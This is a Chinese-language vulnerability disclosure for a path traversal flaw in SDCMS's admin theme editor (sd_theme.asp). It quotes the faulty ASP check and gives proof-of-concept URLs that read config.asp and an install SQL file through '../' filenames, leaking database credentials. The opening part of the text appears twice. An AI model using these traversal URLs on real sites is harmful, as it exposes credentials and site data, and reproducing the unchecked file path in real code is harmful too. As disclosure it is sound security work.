### 简要描述: SDCMS某处设计缺陷导致遍历任意文件内容 ### 详细说明: 1、首先看看缺陷文件: 文件/sdcms/admin/sd_theme.asp ``` ...... 第138行: case "edit" dim filename:filename=sdcms.fget("filename",0) if not(sdcms.checkstr(filename,"filename")) then sdcms.echo "filename is wrong" sdcms.die end if if not(sdcms.isfile("../theme/"&filename)) then sdcms.echo "filename is wrong" sdcms.die end if arr=split(filename,"/") folder=arr(0) for i=0 to ubound(arr)-1 if i=0 then str=arr(i) else str=str&"/"&arr(i) end if position=position&" > <a href=""?act=list&folder="&str&""">"&arr(i)&"</a>" next ...... ``` 没有判断edit的文件是不是允许范围内的文件,只是判断了filename的值是不是文件类型而已,所以导致可以遍历任意文件内容。 2、在安装时,这些目录下的文件时禁止访问的 [<img src="https://images.seebug.org/upload/201307/22133537415a55cf9773fb9a784c8f8c139644e7.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201307/22133537415a55cf9773fb9a784c8f8c139644e7.png) 正常情况下只能访问theme/default目录下的内容: [<img...
### 简要描述: SDCMS某处设计缺陷导致遍历任意文件内容 ### 详细说明: 1、首先看看缺陷文件: 文件/sdcms/admin/sd_theme.asp ``` ...... 第138行: case "edit" dim filename:filename=sdcms.fget("filename",0) if not(sdcms.checkstr(filename,"filename")) then sdcms.echo "filename is wrong" sdcms.die end if if not(sdcms.isfile("../theme/"&filename)) then sdcms.echo "filename is wrong" sdcms.die end if arr=split(filename,"/") folder=arr(0) for i=0 to ubound(arr)-1 if i=0 then str=arr(i) else str=str&"/"&arr(i) end if position=position&" > <a href=""?act=list&folder="&str&""">"&arr(i)&"</a>" next ...... ``` 没有判断edit的文件是不是允许范围内的文件,只是判断了filename的值是不是文件类型而已,所以导致可以遍历任意文件内容。 2、在安装时,这些目录下的文件时禁止访问的 [<img src="https://images.seebug.org/upload/201307/22133537415a55cf9773fb9a784c8f8c139644e7.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201307/22133537415a55cf9773fb9a784c8f8c139644e7.png) 正常情况下只能访问theme/default目录下的内容: [<img src="https://images.seebug.org/upload/201307/221338136b3ac76a94c715d71a12365ab4c93679.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201307/221338136b3ac76a94c715d71a12365ab4c93679.png) 3、下面我们看看网站的配置文件,网站配置信息,数据库信息等全部泄露。 http://localhost/sdcms/admin/sd_theme.asp?act=edit&filename=../config.asp [<img src="https://images.seebug.org/upload/201307/221336137e12f85a1a2a5a6c86d1bd3a7ccec776.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201307/221336137e12f85a1a2a5a6c86d1bd3a7ccec776.png) 4、再来看看sql文件等其他文件: http://localhost/sdcms/admin/sd_theme.asp?act=edit&filename=../install/sql/mssql.sql [<img src="https://images.seebug.org/upload/201307/221337349dbe30dc530169096716487904b65c5e.png" alt="sql.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201307/221337349dbe30dc530169096716487904b65c5e.png) http://localhost/sdcms/admin/sd_theme.asp?act=edit&filename=../plug/attachment/index.asp [<img src="https://images.seebug.org/upload/201307/221337451579d06e0302bbbe1dbcbc4fed6b89a9.png" alt="plug.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201307/221337451579d06e0302bbbe1dbcbc4fed6b89a9.png) ### 漏洞证明: 见详细说明